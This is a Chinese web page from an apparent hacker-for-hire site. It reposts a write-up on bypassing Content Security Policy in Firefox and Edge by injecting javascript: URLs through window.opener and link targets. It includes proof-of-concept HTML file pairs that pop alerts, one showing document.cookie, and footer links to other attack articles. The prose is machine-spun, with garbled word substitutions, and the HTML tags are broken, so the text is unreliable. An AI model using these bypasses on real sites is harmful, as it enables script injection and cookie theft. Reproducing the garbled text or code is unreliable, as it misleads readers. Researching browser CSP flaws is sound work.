Firefox与Edge的dom策略导致的csp bypass问题-黑客接单平台

访客5年前黑客工具1070
在2019年对csp研讨过一阵,发现能够经过其他的dom向存在CSP的dom注入javascript协议,来到达绕过CSP的安全防护。 众所周知,CSP(内容安全战略)有两种 *** 来设置,一种是经过浏览器器呼应头,如下: Content-Security-Policy:sc-src 'self' https://apis.google.com 还有一种便是经过标签进行设置,如下: meta http-equiv="Content-Security-Policy" content="sc-src 'none'"> 我发现这存在一个问题,假如某页面设置了CSP,而同源下其他页面不做CSP防护的话,黑客能够使用opener和target目标来对存在CSP的页面做一个进犯。不了解这两个目标的同学能够参阅p牛的target进犯的介绍以及我在17年投稿的那儿文章。 回到正题,以opener为例,为此咱们创立两个进犯文件,go.html与attack.html html> head> title>CSP Testtitle> meta http-equiv="Content-Security-Policy" content="script-src 'none'"> head> body> a href="./attack.html" target="_Blank">csp_let's_goa> script>alert(location.href);script> body> html> html> head> title> csp gotitle> head> body> script>parent.window.opener.location = "javascript:alert(location.href);"script> body> html> 把两个文件放在一个目录下,你会发现,go.html由于设置了CSP,他的 *** 代码不能答应。可是假如在Firefox中点击了csp_let’s_go, *** 就会履行,那是由于Firefox对该目标没有做防护。 而这在Chrome、Edge、Safiri中是不被答应的 便是这样,经过同源战略答应注入js,绕过了CSP的约束,相同的能够使用target来进行,这将分为两个html文件,go.html与target.html html> head>meta charset="utf-8">head> body> a href="./target.html" target="baidu" id="baidu" onclick="return start()">click mea> script> function start() { setInterval(function() { baidu.href="javascript:alert(location.href);"; baidu.click(); }, 5000); } script> body> html> html> head> title>CSP Testtitle> meta http-equiv="Content-Security-Policy" content="script-src 'none'"> head> body> csp bypass body> html> 相同的,这能够绕过火狐的CSP战略 关于这两个缝隙火狐给予了确认,火狐的回复是: On the one hand this is injecting a javascript URL into the other document, which ought to be blocked. On the other hand it’s hard to get too excited because parent.window.opener.alert(location.href) would be perfectly valid — the script is being run by a context that allows it, manipulating a DOM it’s allowed to by the same-origin policy. Edge Bug导致存在相同的问题 发现这个问题是由于在Edge测验如上代码的时分我发现我的系统资源CPU和内存被Edge占用了很高,所以我打开了调试台,看到了如下状况。 go.html一向向target.html抛出javascript协议,可是target由于CSP战略不断回绝,go.html就会将被回绝的恳求从头恳求一次,在加上时刻函数累加上的恳求,这儿成指数增加,导致了系统资源被耗尽。 在这种状况下对页面进行改写,能够绕过CSP: 当然这种状况下要用户自动去改写页面或许对DOM进行操作,咱们能够模仿改写来看到这个Bug: html> head> title>CSP Testtitle> meta http-equiv="Content-Security-Policy" content="script-src 'none'"> head> body> a href="./attack.html" target="_Blank">csp_let's_goa> script>alert(document.cookie);script> meta http-equiv="Refresh" content="1" /> body> html> html> head> title> csp gotitle> head>[1][2]黑客接单网

相关文章

被黑的Drupal网站被用来挖矿,传达远控,发送欺诈邮件

黑客正在使用最近Drupal CMS中的已知缝隙,例如Drupalgeddon2和Drupalgeddon3来传达挖矿软件、长途管理工具(RAT)和以技术支撑为名的诈骗邮件。 两个缝隙编号为CVE-...

ASP.NET网站管理工具装备办法

注意事项, 你登录到期2003时的用户名,及其相关权限,添加到 sql server C:/WINDOWS/Microsoft.NET/Framework/v2.0.50727/CONFIG/mach...

浏览器进犯结构BeEF Part 4:绕过同源战略与浏览器署理

从这一章开端,正式进入了进犯阶段。BeEF供给了很多的进犯模块,能够直接运用。除了已有的模块,BeEF还供给了API,能够运用API来自行开发新的进犯模块。这一章,要介绍怎么绕过同源战略,还会介绍Be...

Kerberos中继攻击:滥用无约束委派(下)-黑客接单平台

上一篇文章,我只讲了中继进犯的基本理论,这篇文章,我会举两个示例来及详细阐明。 示例1:运用计算机帐户和SpoolService缝隙获取DC同步权限 在第一种情况下,咱们将乱用我的internal.c...

把PHP LFI缝隙变为Webshell的形式

存眷PHP缝隙的同伙必定知道LFI+phpinfo可以搞出一个webshell。 LFI这个条件还算异常,但phpinfo这个照样比较难凑的,所以有点鸡肋。接下来,我共享一个……异常鸡肋的思绪……人人...

几个不错且免费的Web安全解决方案

朋友:有什么的免费的网站安全解决方案,或者说产品么? 黑客接单渠道:当然有啊!不光免费,还很好用呢! 朋友:那还不赶忙和我说说?我小网站买不起WAF,免费的好用的话我就用下啊! 黑客接单渠道:那等下,...